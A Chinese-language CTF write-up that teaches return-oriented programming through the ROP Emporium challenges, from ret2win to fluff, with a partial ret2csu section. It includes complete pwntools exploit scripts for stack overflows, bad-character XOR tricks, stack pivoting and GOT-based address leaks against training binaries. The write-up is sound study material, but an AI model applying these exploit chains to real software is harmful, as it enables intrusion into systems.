ROP实战

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)

ROP是一种攻击技术,其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。

ret2win

背景

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)

ROP是一种攻击技术,其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。

因为所有执行的指令来自原始程序内的可执行存储器区域,所以这避免了直接代码注入的麻烦,并绕过了用来阻止来自用户控制的存储器的指令的执行的大多数安全措施。

因此,ROP技术是可以用来绕过现有的程序内部内存的保护机制的。

ROP要完成的任务包括要完成的任务包括:在内存中确定某段指令的地址,并用其覆盖返回地址。有时目标函数在内存内无法找到,有时目标操作并没有特定的函数可以完美适配,此时就需要在内存中寻找多个指令片段,拼凑出一系列操作来达成目的。假如要执行某段指令(我们将其称为“gadget”,意为小工具),溢出数据应该以下面的方式构造:

payload : padding + address of gadget

image-20240209220652069

上图是包括单个gadget的溢出

如果想连续执行若干段指令,就需要每个 gadget 执行完毕可以将控制权交给下一个 gadget。所以 gadget 的最后一步应该是 RET 指令,这样程序的控制权(eip)才能得到切换,所以这种技术被称为返回导向编程( Return OrientedProgramming )。要执行多个 gadget,溢出数据应该以下面的方式构造:

payload : padding + address of gadget 1 +address of gadget 2 + …… + address of gadget n

在这样的构造下,被调用函数返回时会跳转执行 gadget 1,执行完毕时 gadget 1 的 RET 指令会将此时的栈顶数据(也就是 gadget 2 的地址)弹出至 eip,程序继续跳转执行gadget 2,以此类推。

image-20240209220712513

上图是包含多个gadget的溢出数据

现在任务可以分解为:针对程序栈溢出所要实现的效果,找到若干段以 ret 作为结束的指令片段,按照上述的构造将它们的地址填充到溢出数据中。所以我们要解决以下几个问题。

首先,栈溢出之后要实现什么效果?

ROP 常见的拼凑效果是实现一次系统调用,Linux系统下对应的汇编指令是int 0x80。执行这条指令时,被调用函数的编号应存入 eax,调用参数应按顺序存入ebx,ecx,edx,esi,edi 中。例如,编号125对应函数

mprotect (void *addr, size_t len, int prot)

可用该函数将栈的属性改为可执行,这样就可以使用 shellcode 了。假如我们想利用系统调用执行这个函数,eax、ebx、ecx、edx 应该分别为“125”、内存栈的分段地址(可以通过调试工具确定)、“0x10000”(需要修改的空间长度,也许需要更长)、“7”(RWX 权限)。

其次,如何寻找对应的指令片段?

有若干开源工具可以实现搜索以ret 结尾的指令片段,著名的包括ROPgadget、rp++、ropeme 等,甚至也可以用 grep 等文本匹配工具在汇编指令中搜索 ret 再进一步筛选。

最后,如何传入系统调用的参数?

对于上面提到的mprotect 函数,我们需要将参数传输至寄存器,所以可以用 pop 指令将栈顶数据弹入寄存器。如果在内存中能找到直接可用的数据,也可以用 mov 指令来进行传输,不过写入数据再 pop 要比先搜索再 mov 来的简单,对吧?如果要用 pop 指令来传输调用参数,就需要在溢出数据内包含这些参数,所以上面的溢出数据格式需要一点修改。对于单个 gadget,pop 所传输的数据应该在gadget 地址之后,如下图所示。

image-20240210110655704

上图是以gadget“pop eax; ret;”为例

在调用 mprotect()为栈开启可执行权限之后,我们希望执行一段 shellcode,所以要将 shellcode 也加入溢出数据,并将 shellcode 的开始地址加到 int 0x80 的 gadget之后。我们可以使用 push esp 这个 gadget。

image-20240210110715208

我们假设现在内存中可以找到如下几条指令:

1
2
3
4
5
6
7
8
9
10
11
pop eax; ret;  # pop stack top into eax

pop ebx; ret; # pop stack top into ebx

pop ecx; ret; # pop stack top into ecx

pop edx; ret; # pop stack top into edx

int 0x80; ret; # system call

push esp; ret; # push address of shellcode

对于所有包含 pop 指令的 gadget,在其地址之后都要添加 pop 的传输数据,同时在所有 gadget 最后包含一段 shellcode,最终溢出数据结构应该变为如下格式。

payload : padding + address of gadget 1 +param for gadget 1 + address of gadget 2 + param for gadget 2 + …… + addressof gadget n + shellcode

image-20240210110804191

此处为了简单,先假定输入溢出数据不受“\x00”字符的影响,所以 payload 可以直接包含 “\x7d\x00\x00\x00”(传给 eax 的参数125)。如果希望实现更为真实的操作,可以用多个 gadget 通过运算得到上述参数。比如可以通过下面三条 gadget 来给 eax 传递参数。

1
2
3
4
5
pop eax; ret;         # pop stack top 0x1111118e into eax

pop ebx; ret; # pop stack top 0x11111111 into ebx

sub eax, ebx; ret; # eax -= ebx

解决完上述问题,我们就可以拼接出溢出数据,输入至程序来为程序调用栈开启可执行权限并执行 shellcode。

出于简单化考虑,我们假设了所有需要的 gadget 的存在。在实际搜索及拼接 gadget 时,并不会像上面一样顺利,有两个方面需要注意。

第一,很多时候并不能一次凑齐全部的理想指令片段,这时就要通过数据地址的偏移、寄存器之间的数据传输等方法来“曲线救国”。举个例子,假设找不到下面这条 gadget

1
pop ebx; ret;

但假如可以找到下面的gadget

1
mov ebx, eax; ret;

我们就可以将它和

1
pop eax; ret;

组合起来实现将数据传输给ebx 的功能。上面提到的用多个gadget 避免输入“\x00”也是一个实例应用。

第二,要小心 gadget 是否会破坏前面各个 gadget 已经实现的部分,比如可能修改某个已经写入数值的寄存器。另外,要特别小心gadget 对 ebp 和 esp 的操作,因为它们的变化会改变返回地址的位置,进而使后续的 gadget 无法执行。

ret2win

运行程序测试一下

image-20240210111530486

radare2是一个开源的逆向工程和二进制分析框架,包括反汇编、分析数据、打补丁、比较数据、搜索、替换、虚拟化等等,同时具备超强的脚本加载能力,它可以运行在几乎所有主流的平台(GNU/Linux, .Windows *BSD, iOS, OSX, Solaris…)并且支持很多的cpu架构以及文件格式。 radare2工程是由一系列的组件构成,这些组件可以在 radare2 界面或者单独被使用–比如我们将要在接下来实验中使用到的rahash2, rabin2, ragg2三个组件,所有这些组件赋予了 radare2 强大的静态以及动态分析、十六进制编辑以及溢出漏洞挖掘的能力。

使用r2进行分析,输入aaaa进行分析,然后afl列出所有函数

image-20240210111643081

image-20240210111653843

在上图中我们注意到几个关键的函数,包括main,pwnme,ret2win,我们使用pdf分别反汇编

image-20240210111827222

image-20240210111844566

image-20240210111859812

我们注意到在ret2win函数中会打印flag.txt,也就是我们需要实现的目的

从上图中可以看到我们需要跳转的内存地址,以便执行上面打印flag的代码,地址为0x00400811

接下来我们需要知道覆盖指令指针所需的偏移量,在64位中需要关注RIP,可以使用gdb调试得到偏移。先使用q退出

随机创建长度为200的字符串,pattern_create 200

image-20240210112105484

输入r并填入字符,发现程序终止,报SIGSEGV

image-20240210112211720

image-20240210112238211

接下来用pattern_search寻找偏移量

在64位程序中,我们先看RIP,发现它不包含我们前面随机生成的序列。在64位环境下,指针无法到达高地址,即不能超过0x00007fffffffffff,所以不能直接利用查看$eip的方法。但因为ret指令,相当于pop rsp,所以只要看一下rsp的值,就知道跳转的地址,从而知道溢出点。为了访问这些地址值,可以从 RSP 寄存器中获取它们。 可以看到,段错误时RSP的值为“AA0AAFAAb”

image-20240210112404234

使用pattern offset查找偏移

image-20240210112447838

现在我们已经知道了覆盖RIP所需的padding(40),以及要跳转的地址(0x00400811)

所需exp的关键就是”\x90”*40 +”\x11\x08\x40\x00\x00\x00\x00\x00\x00”

使用python简单地验证下

1
python -c 'print "\x90"*40 +"\x11\x08\x40\x00\x00\x00\x00\x00\x00"' | ./ret2win

image-20240210113205105

或者写一个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

# Set up pwntools to work with this binary
elf = context.binary = ELF('ret2win')

# Print out the target address
info("%#x target", elf.symbols.ret2win)

# Send the payload
io = process(elf.path)
ret2win = p64(elf.symbols.ret2win)
payload = "A"*40 + ret2win
io.sendline(payload)
io.recvuntil("Here's your flag:")

# Get our flag!
flag = io.recvline()
success(flag)

image-20240210112850655

split

先使用file、checksec等命令看一下文件的基本信息。或rabin2 -I

image-20240210185043138

可以看到nx enabled,即开启了NX,也就是栈不可执行

先载入r2分析

r2 -AAA ./split

image-20240210185122410

使用afl列出所有函数

image-20240210185146954

看到了三个可能是比较重要的函数

main:开始分析的地方

pwnme,usefulfunction:提示的这么明显了

先反汇编main

pdf @ main

image-20240210185237520

在上图中注意到其调用了pwnme

所以我们顺着分析pwnme

同样反汇编

pdf @ sym.pwnme

image-20240210185414587

从上图可以看到有一个32字节的缓冲区,可以通过fgets接收96字节的输入从而溢出,也是和上一题ret2win一样溢出rip吗?

我们先使用gdb 分析,往input中写入随机100字节序列

image-20240210185518036

将input作为输入运行

image-20240210185618607

然后pattern_search

image-20240210185718675

可以看到溢出rsp需要40个字节,我们可以尝试通过调用其他函数吗,比如usefulfunction?

我们回到r2反汇编usefulfunction

r2 -AAA ./split

image-20240210185813095

我们可以看到它调用将执行/bin/ls的system()函数。

usefulFunction函数的地址是0x00400807,所以我们需要40个字节的随机数据和这个地址。

简单的使用python生成exp写入input

1
python2 -c 'from pwn import *;print("A" * 40 +p64(0x00400807))' > input

image-20240210190204377

在gdb中运行测试

image-20240210190304207

可以看到成功执行了/bin/ls

不过我们的目标是打印flag,而不是ls,所以继续研究下去

回到r2中使用izz列出字符串

image-20240210190357704

可以打印flag的字符串

这个字符串的地址是0x0001060

现在我们尝试溢出栈,直接执行到system()

不过我们要找到一个办法,直接将这个地址传入RDI寄存器(x86-64传参时依次通过rdi,rsi,,,传参,rdi是第一个)

这时候我们就需要ROPgadget了,简单地说,它们就是写以ret指令结尾的指令序列。指定–only来筛选

image-20240210190542872

找到了很多gadget,那么哪个符合要求呢

我们前面提到必须将值传入RDI,所以要找到pop rdi

所以符合要求的是地址是0x400883

我们传递这个gadget地址(0x400883)后,它会把栈中下一个值传到RDI寄存器中,所以下一个地址应该是能够打印flag的字符串的地址(0x601060),最后是system()函数的地址(0x400810)

使用python简单地将exp输出到input

1
python2 -c 'from pwn import *;print("A" * 40+p64(0x0400883) + p64(0x00601060)+p64(0x00400810))' > input

image-20240210190753596

在gdb中查看,发现确实输出了flag。

同样也可以通过pwntools快速写一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

io = process("./split")

elf = ELF("./split")

system_addr = elf.symbols['system']

pop_rdi_ret = 0x0000000000400883
cat_flag_addr = 0x601060

io.recvuntil(">")

payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
payload += p64(pop_rdi_ret)+p64(cat_flag_addr)+p64(system_addr)

io.sendline(payload)

io.interactive()

callme

首先看一下二进制文件的信息 rabin -I callme

image-20240210192602291

可以看到nx为true,同样设置了栈不可执行

接下来在r2中加载分析

r2 -AAA callme

image-20240210192645399

afl列出函数

image-20240210192707315

在上图中看到了此前出现过的main,pwnem,usefulFunction,不过这里比较有意思的是还出现了callme_one,callme_two,callme_three

我们看看题目的描述

image-20240210192725380

我们知道需要通过对应的顺序传入对应的参数才能得到flag

即:

callme_one(1,2,3),callme_two(1,2,3),callme_three(1,2,3)

每个函数都有三个参数

在进一步分析他们之前,我们先来看看main

image-20240210192750115

在上图中可以看到还是调用了pwnme。

我们跟着分析pwnme,看看buffer的大小是否还是一样

pdf @ sym.pwnme

image-20240210223302835

可以看到缓冲区大小还是32字节,fgets函数容易造成缓冲区溢出

再看看usefulFunction中有什么

pdf @ sym.usefulFunction

image-20240210223343377

从上图中可以看到是按照给出的参数、顺序来调用callme_1,2,3三个函数的

所以我们在写的exp时的依据就是这个

需要注意的是,传参时顺序是相反的

我们可以在这个网站(https://godbolt.org/)自己写一段简单的函数并且在main中调用,对照汇编分析

image-20240210223414686

为了将值放入用于传递参数的寄存器中,我们还要用到rop gadget,用于将值从栈pop到这些寄存器中

ROPgadget –binary callme

image-20240210223909137

在0x401ab0,这个gadget可以将值从栈上pop到对应的三个寄存器上

这部分的exp比较长,我们直接用pwntools写,关键是四个地址,一个是rop gadget,已经知道了,另外三个是callme_1,2,3的地址,分别如下

image-20240210224010629

照用以前的框架。使用pwntools进行编写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

def add_arguments(payload):
payload += p64(0x0000000000401ab0) # Address of gadget pop rdi; pop rsi; pop rdx; ret;
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
return payload

offset = cyclic(40) # 40 bytes used to overflow.
payload = offset
payload = add_arguments(payload)
payload += p64(0x00401850) # Address of callme_one function.
payload = add_arguments(payload)
payload += p64(0x00401870) # Address of callme_two function.
payload = add_arguments(payload)
payload += p64(0x00401810) # Address of callme_three function.

sh = process('callme')
sh.recv()
sh.sendline(payload)
output = sh.recvall()
print(output)

运行python文件,取得flag。

image-20240210224244081

Write4

先通过rabin2 看一下基础的文件信息

rabin2 -I write4

image-20240211000437665

被设置了nx。也可以用 r2 -AAA ./write4后用i~nx来筛选查看。

在前面的实验中当我们需要打印flag时,用的是文件自身的字符串,我们看看这题里有没有,直接使用strings配合grep过滤

strings write4 | grep ‘cat flag.txt’

image-20240211000554367

可以看到,这种字符串是不存在的

接下来先看看涉及的函数 r2 -AAA ./write4

afl

image-20240211000655805

看看usefulFunction里会不会有我们需要的信息,反汇编它

pdf @ sym.usefulFunction

image-20240211000719714

在上图中我们看到,我们调用了system(),不过传给system的是/bin/ls,也就是说会执行ls命令

不过我们想执行的是cat flag.txt的命令,因为二进制文件中不存在这种字符串,所以我们需要手动进行。

首先需要考虑的是,把cat flag.txt写到哪个地址

readelf -a write4

image-20240211000818999

我们关注输出的sectionheaders部分。

可以看到打印出一系列的section,我们需要在其中找到一个合适的,在其中我们可以写入值。

image-20240211000849916

一般我们都会选择写到data,上图中找到了一个data,地址是0x601050,我们使用readelf看看在这个section里有没有什么数据

readelf -x .data write4

image-20240211000926022

可以看到这个地址是空的,所以我们写入这里是ok的

接下来我们还是需要ropgadget找到特定的gadget让我们能够将字符串放入这儿

ROPgadget –binary write4,结合–only或grep进行筛选。

这里打印出了很多gadget,那么我们需要怎样的呢

首先这个gadget要能够将值写入内存地址,在汇编中一般是通过mov体现,比如MOV [r0],r1这样子,这条汇编的意思是将值从寄存器R1移动到寄存器R0所保存的内存地址处。

下图红色选中的就符合要求

image-20240211001304191

地址是0x400820

现在我们可以将值写入内存了,但是我们还需要pop,才能将值写入寄存器中

image-20240211001401339

地址为0x400890

我们还需要返回并获取system()的地址,并且为了将字符串的地址作为调用system()时的参数,还需要pop rdi

image-20240211001510276

地址是0x400893

现在关键的地址都有了,可以编写我们的exp了

关键点包括:

使用pop gadget将字符串的地址和字符串放在寄存器中

使用mov gadget将字符串放入给出的内存地址中

使用pop rdi gadget将字符串的地址放入寄存器

调用system(),它使用已经保存了字符串地址的rdi寄存器作为参数寄存器

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

def place_string_at_address(mov_gadget_address, pop_gadget_address, string_address, string):

while len(string) % 8 != 0:
string += "\x00"

splitted_string = [string[i:i + 8] for i in range(0, len(string), 8)]
payload = ""
for i in range(len(splitted_string)):

# Place the gadgets into the payload.
payload += p64(pop_gadget_address)
payload += p64(string_address + (i * 8))

payload += splitted_string[i]
payload += p64(mov_gadget_address)

return payload

# 40 bytes of random data.
offset = 'A' * 40

offset += place_string_at_address(0x400820, 0x400890, 0x601050, "cat flag.txt")

offset += p64(0x0000000000400893) # Address of pop rdi
offset += p64(0x0000000000601050) # Address of string
offset += p64(0x00400810) # Address of system()

print(offset)

python 4.py | ./write4,运行后如图,拿到了flag

image-20240211001656537

badchars

先使用rabin2 -I看一下基础的信息

rabin2 -I badchars

image-20240211003924255

通过r2加载调试分析,afl查看函数

r2 -AAA ./badchars

afl

image-20240211004032164

可以看到在usefulFunction后还有两个函数,分别是nstrlen,checkBadchars

结合题目的提示

image-20240211004053853

这函数应该是用于检查exp中是否有坏字符的

直接运行badchars,就可以看到坏字符了

./badchars

image-20240211004123319

这些就是我们这次在开发exp时需要避免的

还是和以前一样,看看关键函数的反汇编

pdf @ sym.pwnme

image-20240211004218040

image-20240211004309701

image-20240211004340838

可以看到在pwnme函数中已经给出了坏字符,同时还调用了新的两个函数以及fgets()

再看看usefulFunction

pdf @ sym.usefulFunction

image-20240211004423204

和前面的关卡一样,也是调用了system,执行ls命令

接下来我们通过gdb分析得到覆盖rsp寄存器的偏移

pattern_create 512 input

image-20240211004537938

pattern_search

image-20240211004640814

可以看到输入40字节后将会覆盖rsp

回到坏字符的话题来,我们在写exp时用的是十六进制,所以先将这些坏字符转为16进制

image-20240211004732155

另外,空格为

image-20240211004757138

因此,坏字符的16进制分别是

0x62 0x69 0x63 0x2f 0x20 0x66 0x6e 0x73

在使用ROPgadget时通过–badbytes即可过滤掉包含坏字符的项

1
ROPgadget --binary badchars --badbytes "62|69|63|2f|20|66|6e|73"

接下来的任务和上一关就一样了,显示找到mov…ret的,然后找对应的pop

image-20240211005013135

地址为0x400b34,0x400b3b

不过因为坏字符的原因,我们无法直接写入cat flag.txt

这时候常用的解决办法是异或

先找到xor的gadget

image-20240211005052726

通过这个gadget我们可以将r14寄存器的值与内存中的值进行异或

所以我们的思路就来了:

我们强行凑对,我们的字符串不直接写cat flag.txt,而是用其他字符代替,这些字符与另外的特定字符异或后会得到cat flag.txt,这样就绕过了坏字符不允许我们直接传入cat flag.txt 的限制

以首字母c为例,哪些字符异或后可以得到c呢?

我们写一个简单的python脚本跑一下就知道了

完整代码:

1
2
3
4
5
import string
for x in string.printable:
for y in range(16):
if chr(ord(x) ^ y) == 'c':
print(x + ' ' + str(y))

image-20240211005207868

因为c是坏字符,这样的话我们就可以用a代替c然后与2异或,从而得到c

这样就解决了坏字符的限制

现在可以写exp了,关键点包括:

1)用aat!alag.txt代替cat flag.txt

2)使用pop gadgets来pop字符串中受限制字符的地址和对应的字符异或,从而得到所需的字符

3)为所有被替换了的字符做相应的操作

4)使用pop,将字符串的地址写入rdi寄存器

5)调用system()最后得到flag

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
def place_string_at_address(mov_gadget_address, pop_gadget_address, string_address, string):
while len(string) % 8 != 0:
string += "\x00"

splitted_string = [string[i:i + 8] for i in range(0, len(string), 8)]
payload = ""
for i in range(len(splitted_string)):
# Place the gadgets into the payload.
payload += p64(pop_gadget_address)
payload += splitted_string[i]
payload += p64(string_address + (i * 8))
payload += p64(mov_gadget_address)

return payload

offset = 'A' * 40
offset += place_string_at_address(0x400b34, 0x400b3b, 0x601071, "aat!alag.txt")

# Now we're XORing values from string.
# 2 ^ 'a' = 'c'
offset += p64(0x0000000000400b40)# pop r14; pop r15; ret
offset += p64(0x2)
offset += p64(0x601071)# 字符位置
offset += p64(0x0000000000400b30)

# 1 ^ '!' = ' '
# String address is 0x601071 because if we would have 0x601070
# address of second XORed character would end with 0x73, which
# is restricted.
offset += p64(0x0000000000400b40)
offset += p64(0x1)
offset += p64(0x601074)
offset += p64(0x0000000000400b30)

# 7 ^ 'a' = 'f'
offset += p64(0x0000000000400b40)
offset += p64(0x7)
offset += p64(0x601075)
offset += p64(0x0000000000400b30)

# Pop address of string into RDI and call system()
offset += p64(0x0000000000400b39)# pop rdi; ret
offset += p64(0x601071)
offset += p64(0x004009e8)

print(offset)

image-20240211005709606

pivot

Got表和PLT表

操作系统通常使用动态链接的方法来提高程序运行的效率。在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,如果有函数并没有被调用,那么它就不会在程序生命中被加载进来。这样的设计就能提高程序运行的流畅度,也减少了内存空间。而且现代操作系统不允许修改代码段,只能修改数据段,那么GOT表与PLT表就应运而生。

img

当函数第一次被用到时才进行绑定(符号査找、重定位等),如果没有用到则不进行绑定。

为了提到cpude效率,在程序加载时并不会解析所有函数,而是在某个函数被调用时通过plt和got来对函数解析,然后将获得的函数地址放在got中,下一次调用就会直接使用got中的函数地址来对函数进行调用。

GOT与PLT_got.plt-CSDN博客

pivot

首先看一下基本信息

rabin2 -I pivot

image-20240211012551177

r2 -AAA ./pivot;afl

image-20240211012633326

先看看pwnme

pdf @ sym.pwnme

image-20240211012731487

在上图中可以看到我们的exp应该需要两个chain

同时告诉我们从libpivot.so调用了ret2win()

再来看看uselessFunction

pdf @ sym.uselessFunction

image-20240211012759516

可以看到调用了foothold_function,但是其自身没有被调用

接下来看看libpivot.so

r2 -AAA libpivot.so;afl

image-20240211012852356

pdf @sym.ret2win

image-20240211012925603

可以看到ret2win会打印flag

从题目的说明中

image-20240211012945794

我们知道栈空间被限制了,但是我们具体可以放多少空间呢?

使用gdb进行分析

gdb ./pivot 输入r运行,然后第一次输入a,第二次输入一串A

image-20240211013143258

看一下rsp的情况

image-20240211013251475

可以看到一共是3个qword,即3个八字节

我们的任务就是通过这些空间,以某种方式把我们的空间pivot到一个更大的空间

我们注意到,在运行的时候,程序会打印出一个缓冲区的地址,这就是第一个fgets使用的。我们可以改变指向那个缓冲区的rsp寄存器的值,这个值将是我们ROPchain的第二段

我们先ropgadget看看可用的gadget

ROPgadget –binary pivot

image-20240211013426327

我们可以使用pop rax,ret,然后将缓冲区的地址放在第二个位置上,最后xchg rax,rsp,交换值

这是第一段rop chain

接下来我们要解决的是由于ASLR机制,我们该如何得到ret2win函数的地址

由于plt表与got表的特性,函数第一次调用时plt表指向的got表中存储的执行在plt表中查找函数真实地址的函数地址,查找到函数真实地址后,存储到got表的原来表项中替换掉查找函数的指向地址。以题目为例, foothold_function函数,先调用利用利用plt表中的地址调用一次后,在plot表中会存储其真实地址,利用foothold_function函数与ret2win函数在libpivot32.so的便宜差,通过foothold_function真实地址,计算出ret2win函数的真实地址。

我们可以在pivot32的二进制找到foothold_function的plt和got表项,还可以在libpivot32.so找到ret2win这个函数。

因此解决办法是计算相对于foothold_function的偏移,然后在第二段中加上计算出来的值就可以了

回到r2分析libpivot.so分析时得到的地址

image-20240211013552758

计算偏移为0x14e

然后我们要知道foothold_function在plt,got中的偏移

r2 -AAA ./pivot

image-20240211013656302

ir

image-20240211013719380

地址是0x602048

这样写第二段ropchain的准备工作也完成了

关键部分在于:

首先调用foothold_function来填充.got.plt

pop foothold_function的got到rax寄存器

向rax中添加偏移得到ret2win的

最后进行调用即可

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

# Gadgets

pop_rax = p64(0x0000000000400b00)
xchg_rax_rsp = p64(0x0000000000400b02)
mov_rax_mrax = p64(0x0000000000400b05)
pop_rbp = p64(0x0000000000400900)
add_rax_rbp = p64(0x0000000000400b09)
call_rax = p64(0x000000000040098e)

# Addresses

foothold_plt = p64(0x00400850)
foothold_got = p64(0x00602048)

pivot = process('./pivot')
heap_address = int(pivot.recvline_contains('The Old Gods kindly bestow upon you a place to pivot:').decode('UTF-8').split(' ')[-1], 16)
print(hex(heap_address))

heap_address = p64(heap_address)

pid = util.proc.pidof(pivot)[0]
print("[*] PID = " + str(pid))

# Uncomment this if you want to use the debugger
#util.proc.wait_for_debugger(pid)

second_stage = b""
second_stage += foothold_plt# 调用foothold_function函数,调用时会将foothold_function函数的实际地址写入到GOT表中
second_stage += pop_rax
second_stage += foothold_got# 将foothold_function函数的GOT地址写入eax寄存器
second_stage += mov_rax_mrax# 将foothold_function函数的GOT地址指向的地址放入eax寄存器,即foothold_function函数在内存中的真实地址
second_stage += pop_rbp
second_stage += p64(0x14e)# 将ret2win函数与foothold_function函数在libc.so文件中的相对偏移放入rbp
second_stage += add_rax_rbp# foothold_function函数真实地址加上ret2win相对于foothold_function函数的offset即得ret2win函数在内存中的实际地址
second_stage += call_rax# 使程序跳转到eax中的地址,即泄露的堆空间的入口位置

pivot.recvuntil("Send your second chain now and it will land there")
pivot.sendline(second_stage)

first_stage = b"A" * 40
first_stage += pop_rax
first_stage += heap_address# 堆空间的地址放入rax寄存器
first_stage += xchg_rax_rsp# 交换eax和esp的值,也就是说程序分配的对空间就被当成栈,交换eax和esp的值,也就是说程序分配的堆空间就被当成栈,ret就会返回到栈顶去执行我们精心设计好的shellcode

pivot.recvuntil("Now kindly send your stack smash")
pivot.sendline(first_stage)

output = pivot.recvall()
print(output)

fluff

先看一下基本信息

rabin2 -I fluff

image-20240211153816683

然后载入r2分析

r2 -AAA ./fluff;afl

image-20240211153910017

分别看看pwnme和usefulFunction

pdf @ sym.pwnme

image-20240211153959924

pdf @ sym.usefulFunction

image-20240211154028720

重复gdb调试过程,可以发现,esp偏移还是40。

image-20240211154312428

然后使用ropgadget找到有用的gadget

ROPgadget –binary fluff

首先我们要找到一个gadget用于将字符串写入内存。mov适合的似乎只有下面这一条mov适合的似乎只有下面这一条

image-20240211161130385

如果用了这一条,那么下一个要解决的问题就是怎么将值写入r10、r11寄存器呢

似乎没有可直接写的办法,这时候我们常用的解决办法就是组合多个gadget以将值写入r10为例,我们看看该如何操作

那么这里就需要注意了,按照前面的默认命令,其实ropgadget的搜索深度是10。既然我们需要组合多个gadget,既然越多越多,所以我们可以加上–depth 20,将深度设为20

ROPgadget –binary fluff –depth 20

首先清空r11,有两个办法,要么置零,要么与自身异或

我们看看gadget里有没有符合的

image-20240211161354176

接下来把地址pop到r12里

对应的gadget为

image-20240211161458563

前面r11已经是0了,我们将r12与r11异或,这样其实就相当于间接地使用了mov,将值写入了r11

image-20240211161618176

然后使用xchg交换r11和r10寄存器的值,这样就相当于将地址写到了r10寄存器中

image-20240211161740267

做完这部分工作之后,我们只需pop rdi,ret,字符串的地址作为system()参数传入,再调用system()就可以了

image-20240211161821012

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *


def place_address(address):
payload = p64(0x0000000000400822) # xor r11, r11; pop r14; mov edi, 0x601050; ret;
payload += p64(0) # Unused pop r14
payload += p64(0x0000000000400832) # pop r12; mov r13d, 0x604060; ret;
payload += p64(address)
payload += p64(0x000000000040082f) # xor r11, r12; pop r12; mov r13d, 0x604060; ret;
payload += p64(0) # Unused pop r12
payload += p64(0x0000000000400840) # xchg r11, r10; pop r15; mov r11d, 0x602050; ret;
payload += p64(0) # Unused pop r15
return payload

def place_data(data):
payload = p64(0x0000000000400822) # xor r11, r11; pop r14; mov edi, 0x601050; ret;
payload += p64(0) # Unused pop r14
payload += p64(0x0000000000400832) # pop r12; mov r13d, 0x604060; ret;
payload += data # String to be putted
payload += p64(0x000000000040082f) # xor r11, r12; pop r12; mov r13d, 0x604060; ret;
payload += p64(0) # Unused pop r12
return payload

def write_data(string, address):
while len(string) % 8 != 0:
string += "\x00"

splitted_string = [string[i:i + 8] for i in range(0, len(string), 8)]
payload = ""

for i in range(len(splitted_string)):
# Put address into r10 register
payload += place_address(address + (i * 8))

# Now we have to put actual data in r11
payload += place_data(splitted_string[i])

# Write data to address
payload += p64(0x000000000040084e) # mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret;
payload += p64(0) * 2 # Unused pop r13 and pop r12

return payload

offset = cyclic(40)
offset += write_data("/bin/cat flag.txt", 0x601050)
offset += p64(0x00000000004008c3)
offset += p64(0x601050)
offset += p64(0x00400810)

print(offset)

python 6.py | ./fluff

image-20240211162051959

Ret2csu

image-20240211162149382

没有合适的rop gadgets,该如何在没有pop rdx的情况下写入rdx呢

先看一下基本信息

rabin2 -I ret2csu

image-20240211162543206

载入r2

r2 -AAA ret2csu; afl

image-20240211163059328

看pwnme的反汇编

pdf @ sym.pwnme

image-20240211163209150

可以看到要求rdx必须是指定的字符串

ret2win

image-20240211163259337

我们先看看ropgadget

ROPgadget –binary ret2csu

可以看到和rdx相关的只有

ROPgadget –binary ret2csu | grep rdx

image-20240211163409566

没有pop rdx,或mov rdx

所以理论上我们无法绕过关卡的限制,无法设置该寄存器。

此时的解决方案是returnto csu,这是blackhat2018的议题,通过一个通用的gadget来制作rop

在afl命令的输出中我们看到有一个函数,名为__libc_csu_init。x64 下的 __libc_csu_init 这个函数是用来对 libc 进行初始化操作的,而一般的程序用 libc 函数,所以这个函数一定会存在。 (不同版本的这个函数有一定的区别)
简单来说就是利用libc_csu_init中的两段代码片段来实现3个参数的传递(间接性的传递参数)

我们反汇编看看

pdf @ sym.__libc_csu_init

image-20240211163535575

在其中我们找到了两个gadget

第一个:

image-20240211163549013

第二个:

image-20240211163603005

image-20240211163638146

image-20240211163645226

image-20240211163652676

rdi是第一个参数,rsi是第二个参数,rdx是第三个参数

结合这两个gadget我们知道,rdi来自r13,rsi来自r14,rdx来自r15

前面提到我们要写0xdeadcafebabebeef到rdx,而从0x00400880可以看到写入r15就可以了。通过mov rdx,r15即可实现目的。

但是我们注意到第一个问题是第二个gadget的最后一条不是ret,而是call

call qword ptr [r12+rbx*8],由前可知,r12,rbx都是可控的,所以这个地址是可控的,不过为了控制目的地我们需要rbx和r12,这具体的值是什么呢?

IDA注意到

image-20240211163933378

第二个gadget后面是上图的三条指令

在cmp之前,rbx+1了,所以简单起见,我们设置rbx为0,rbp为1,这样cmp得到的结果就是相等

后面紧接着就是add rsp,8

image-20240211164015414

我们知道rsp 是堆栈指针寄存器,通常会指向栈顶位置,堆栈的 pop 和push 操作就是通过改变rsp 的值即移动堆栈指针的位置来实现的。

这里的指令相当于增加了栈空间,我们可以随意填充相应大小即可。

